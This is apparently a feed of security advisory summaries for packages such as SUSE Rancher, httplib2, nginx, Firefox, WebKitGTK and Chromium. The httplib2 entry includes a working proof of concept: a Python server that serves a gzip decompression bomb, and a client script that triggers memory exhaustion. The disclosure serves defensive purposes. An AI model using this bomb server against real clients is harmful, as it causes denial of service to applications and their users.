CVE-2026-59675 is a high-severity vulnerability in SUSE Rancher versions 2.12.0, 2.13.0, and 2.14.0. When API audit logging is enabled, the middleware reads the entire HTTP request body into memory without size limits on login endpoints, bypassing the intended 1 MiB cap. This allows an unauthenticated attacker to send very large request bodies, causing excessive memory consumption and potential denial of service by crashing the Rancher Manager process, which disrupts API and UI availability and management of downstream clusters.
CVE-2026-55996 is a denial-of-service vulnerability in SUSE Rancher affecting multiple TLS listeners. The issue arises because the dynamiclistener library appends any hostname presented via Server Name Indication (SNI) to the serving certificate's Subject Alternative Names (SANs) without effective filtering. An unauthenticated attacker with network access can exploit this by sending many TLS requests with distinct hostnames, causing the certificate to grow excessively large and resulting in TLS handshake failures and service disruption.
Multiple security issues were addressed in the libvirt-12.6.0-1.1 package included in the GA media of openSUSE Tumbleweed. These fixes resolve vulnerabilities present in prior versions of libvirt. No specific details about the nature of the vulnerabilities or affected versions are provided.
CVE-2026-67312 refers to multiple security issues fixed in the jupyter-nbdime-7.0.4-24.1 package distributed on openSUSE Tumbleweed. The vulnerabilities involve several CWEs including resource exhaustion and improper resource management. The Red Hat advisory references this CVE among others in a security update for hardened images RPMs. No direct exploit code or active exploitation is reported. The severity is assessed as medium based on the available information.
### Summary
The `httplib2` HTTP client library performs unbounded decompression of HTTP response bodies encoded with `Content-Encoding: gzip` or `deflate`. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing `MemoryError` or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.
Any application using `httplib2.Http().request()` against untrusted or attacker-controlled HTTP endpoints is affected.
### Details
**Affected code:** `httplib2/__init__.py` - `_decompressContent()` function
The decompression path has two unbounded operations:
1. **gzip decompression** (line 394):
```python
content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()
```
The `.read()` call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.
2. **deflate decompression** (line 397):
```python
content = zlib.decompress(content, zlib.MAX_WBITS)
```
Similarly, `zlib.decompress()` returns the fully decompressed content as a single bytes object with no size bound.
3. **Automatic invocation** (line 1431): `_decompressContent()` is called automatically on every HTTP response that includes a `Content-Encoding: gzip` or `deflate` header. The full compressed body is already buffered in memory via `response.read()` before decompression begins.
**Root cause:** There is no `max_decompressed_size`, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.
**Attack vector:** Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:
- `Content-Encoding: gzip` header
- A small compressed body that decompresses to an arbitrarily large size
### Proof of Concept
**Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:**
```python
#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver
UNCOMPRESSED_SIZE = 150 * 1024 * 1024 # 150 MB
def make_payload():
"""Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
chunk = b"A" * (1024 * 1024) # 1 MB of repeating bytes
for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
gz.write(chunk)
return buf.getvalue()
PAYLOAD = make_payload()
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Encoding", "gzip")
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, fmt, *args):
pass
with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
f"{UNCOMPRESSED_SIZE} bytes decompressed")
httpd.serve_forever()
```
**Step 2 - Run the httplib2 client (in a separate terminal):**
```python
#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2
# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
http = httplib2.Http(timeout=5)
try:
response, content = http.request("http://127.0.0.1:8000/")
print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
print(f"MemoryError confirmed: decompression bomb exhausted "
f"{LIMIT_MB} MB memory limit")
# This is the expected outcome - the 150 KB compressed payload
# expanded to 150 MB during decompression, exceeding the limit.
```
**Expected output (client):**
```
MemoryError confirmed: decompression bomb exhausted 180 MB memory limit
```
**Reproduction metrics:**
- Compressed payload size: **152,908 bytes** (~150 KB)
- Decompressed size: **157,286,400 bytes** (150 MB)
- Amplification ratio: **~1,029x**
- Client memory limit: 180 MB -> `MemoryError` triggered during `gzip.GzipFile.read()`
### Impact
**Severity: High**
Any application using `httplib2` to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.
| Parameter | Value |
|---|---|
| Compressed payload | ~150 KB |
| Decompressed size | 150 MB (configurable by attacker) |
| Amplification ratio | ~1,029x |
| Authentication required | None |
|
An out-of-bounds read vulnerability exists in the RealMedia demuxer audio stream header parser of the gstreamer1-plugins-ugly-free package. This affects certain versions of the package used in Red Hat Enterprise Linux 10. A security update has been issued by Red Hat to address this issue.
A vulnerability (CVE-2026-42533) in nginx involves incorrect handling of certain map directives using regex matching and capture variables. This flaw could allow a remote attacker to cause nginx to crash (denial of service) or potentially execute arbitrary code. The issue was initially fixed in Ubuntu packages but the fix was reverted due to ABI compatibility problems with external modules. Updated package versions addressing this regression have since been released.
A security update for perl-HTTP-Tiny addresses CVE-2026-7017 by fixing issues related to forwarded credential headers on cross-origin redirects. The update, version 0.096, strips caller-supplied Authorization, Cookie, and Proxy-Authorization headers by default during cross-origin redirects and prevents automatic redirects from HTTPS to HTTP unless explicitly allowed.
This update for MozillaFirefox fixes the following issues:
- Update to Firefox Extended Support Release 140.13.0 ESR.
- MFSA 2026-70 (bsc#1271649):
* CVE-2026-15718: Invalid pointer in the JavaScript: WebAssembly component
* CVE-2026-15719: Site isolation issue in the DOM: Navigation component
* CVE-2026-16349: Same-origin policy bypass in the DOM: Navigation component
* CVE-2026-16350: Incorrect boundary conditions in the Audio/Video: cubeb component
* CVE-2026-16362: Use-after-free in the WebRTC: Audio/Video component
* CVE-2026-16351: Sandbox escape due to use-after-free in the DOM: Navigation component
* CVE-2026-16352: Sandbox escape due to use-after-free in the Disability Access APIs component
* CVE-2026-16363: JIT miscompilation in the JavaScript: WebAssembly component
* CVE-2026-16353: Invalid pointer in the DOM: Bindings (WebIDL) component
* CVE-2026-16354: Information disclosure in the Graphics: ImageLib component
* CVE-2026-16368: Incorrect boundary conditions in the JavaScript: WebAssembly component
* CVE-2026-16369: Integer overflow in the JavaScript: WebAssembly component
* CVE-2026-16355: JIT miscompilation in the JavaScript Engine: JIT component
* CVE-2026-16356: Sandbox escape due to use-after-free in the Disability Access APIs component
* CVE-2026-16357: Incorrect boundary conditions in the Graphics component
* CVE-2026-16371: Privilege escalation in the DOM: Navigation component
* CVE-2026-16374: Information disclosure in the Framework component in DevTools
* CVE-2026-16375: Site isolation issue in the Networking: HTTP component
* CVE-2026-16377: Mitigation bypass in the PDF Viewer component
* CVE-2026-16379: Privilege escalation in the DOM: Content Processes component
* CVE-2026-16358: Site isolation issue in the Graphics: WebRender component
* CVE-2026-16381: Same-origin policy bypass in the Networking: DNS component
* CVE-2026-16383: Mitigation bypass in the DOM: Networking component
* CVE-2026-16387: Site isolation issue in the Networking component
* CVE-2026-16390: Mitigation bypass in the Enterprise Policies component
* CVE-2026-16391: Information disclosure in the Storage: IndexedDB component
* CVE-2026-16359: Incorrect boundary conditions in the Audio/Video: GMP component
* CVE-2026-16396: Privilege escalation in WebExtensions
* CVE-2026-16405: Information disclosure in the Networking: WebSockets component
* CVE-2026-16412: Memory safety bugs fixed in Firefox ESR 140.13 and Firefox 153
* CVE-2026-16360: Memory safety bugs fixed in Firefox ESR 115.38, Firefox ESR 140.13 and Firefox 153
* CVE-2026-16361: Memory safety bugs fixed in Firefox ESR 115.38 and Firefox ESR 140.13
- Remove obsolete `mozilla-nss-certs` (bsc#1269226).
This update for xwayland fixes the following issues
- CVE-2026-55999: missing bounds check in `glamor_font_get` can lead to a heap buffer overflow when a font loaded from
a malicious PCF file is processed (bsc#1268893).
- CVE-2026-56000: improper memory management in `CommonMakeCurrent` can lead to a heap use-after-free when an
interaction with a malicious client creating GLX contexts happens (bsc#1268894).
Multiple security issues were addressed in the ImageMagick-7.1.2.28-2.1 package included in the GA media of openSUSE Tumbleweed. The update fixes vulnerabilities present in previous versions of ImageMagick. No specific details about the nature of the vulnerabilities or affected versions are provided.
This update for webkit2gtk3 fixes the following issues:
- CVE-2024-4367: missing type check when handling fonts in PDF.js can allow arbitrary JavaScript execution
(bsc#1271638).
- CVE-2026-39872: maliciously crafted web content can lead to an unexpected process crash (bsc#1271638).
- CVE-2026-43663: maliciously crafted web content can lead to an unexpected process crash (bsc#1271638).
- CVE-2026-43676: out-of-bounds access when processing web content can lead to an unexpected Safari crash
(bsc#1271638).
- CVE-2026-43699: use-after-free issue when processing web content can lead to an unexpected process crash
(bsc#1271638).
- CVE-2026-43701: malicious website can process restricted web content outside the sandbox (bsc#1271638).
- CVE-2026-43705: type confusion issue when processing web content can lead to memory corruption (bsc#1271638).
- CVE-2026-43707: memory corruption issue when processing web content can lead to an unexpected process crash
(bsc#1271638).
- CVE-2026-43712: maliciously crafted web content can lead to an unexpected process crash (bsc#1271638).
- CVE-2026-43713: visiting a website can leak sensitive data due to a permissions issue (bsc#1271638).
- CVE-2026-43715: use-after-free issue when processing web content can lead to memory corruption (bsc#1271638).
- CVE-2026-43716: maliciously crafted web content can lead to an unexpected Safari crash (bsc#1271638).
- CVE-2026-43720: use-after-free issue when processing web content can lead to an unexpected Safari crash
(bsc#1271638).
- CVE-2026-43721: malicious website can silently hijack clipboard data (bsc#1271638).
- CVE-2026-43725: unvalidated input can allow a malicious website to process restricted web content outside the
sandbox (bsc#1271638).
- CVE-2026-43726: use-after-free issue when processing web content can lead to an unexpected process crash
(bsc#1271638).
- CVE-2026-43727: use-after-free issue when processing web content can lead to an unexpected Safari crash
(bsc#1271638).
- CVE-2026-43731: use-after-free issue when processing web content can lead to memory corruption (bsc#1271638).
- CVE-2026-43732: path handling issue when processing web content can disclose sensitive user information
(bsc#1271638).
- CVE-2026-43734: use-after-free issue when processing web content can lead to an unexpected process crash
(bsc#1271638).
- CVE-2026-43740: maliciously crafted web content can result in the disclosure of process memory (bsc#1271638).
- CVE-2026-43742: use-after-free issue when processing web content can lead to an unexpected process crash
(bsc#1271638).
- CVE-2026-43745: out-of-bounds write issue when processing web content can lead to an unexpected Safari crash
(bsc#1271638).
Changes for webkit2gtk3:
- Update to version 2.52.5:
* Fire scrollend event for instant programmatic scrolls.
* Increase network idle connection timeout to 115 seconds.
* Add User-Agent quirk for HBO Max.
* Fix the build with system malloc.
A security update for Chromium version 151.0.7922.71 addresses multiple high severity vulnerabilities including use-after-free, insufficient validation of untrusted input, integer overflows, race conditions, out-of-bounds reads and writes, type confusion, side-channel information leakage, and inappropriate implementations across components such as ANGLE, V8, Skia, and Media. These vulnerabilities collectively pose significant security risks to the Chromium browser and related components. The update improves security and stability by fixing these issues.
Multiple security issues were addressed in the python313-huggingface-hub-1.26.0-1.1 package for openSUSE Tumbleweed. These fixes improve the security posture of the package but specific vulnerability details are not provided.
Multiple security issues have been fixed in the libntpc1-1.2.5-1.1 package included in the GA media of openSUSE Tumbleweed. These vulnerabilities relate to the SUSE product and involve the libntpc1 component. The issues are classified with a medium severity level and include a CWE-120 category, indicating a buffer-related vulnerability.
This update for python-joserfc fixes the following issues:
Changes in python-joserfc:
- CVE-2026-62995: acceptance of JWTs with trailing padding can lead to JWT
malleability and allows for bypass of token revocation and anti-replay
protection (bsc#1272991)
A use-after-free vulnerability (CVE-2026-12610) exists in the System Security Services Daemon (SSSD) PAM responder, triggered when a cancelled or completed PAM request occurs while an asynchronous child process is still running. This can cause SSSD to crash, particularly when interacting with smartcards or Yubikeys. The issue affects multiple versions of SSSD across various Ubuntu and SUSE releases. A security update is available that addresses this vulnerability, and a system restart of SSSD is required after applying the update.
Two security vulnerabilities in spice-vdagent have been addressed. CVE-2026-57965 is an integer overflow in the udscs_write() function that can cause the spice-vdagent daemon to crash via a heap buffer overflow triggered by a malicious SPICE host message. CVE-2026-57966 involves improper sanitization that allows a compromised SPICE host to write arbitrary files anywhere on the guest OS. Both vulnerabilities require a compromised SPICE host to exploit.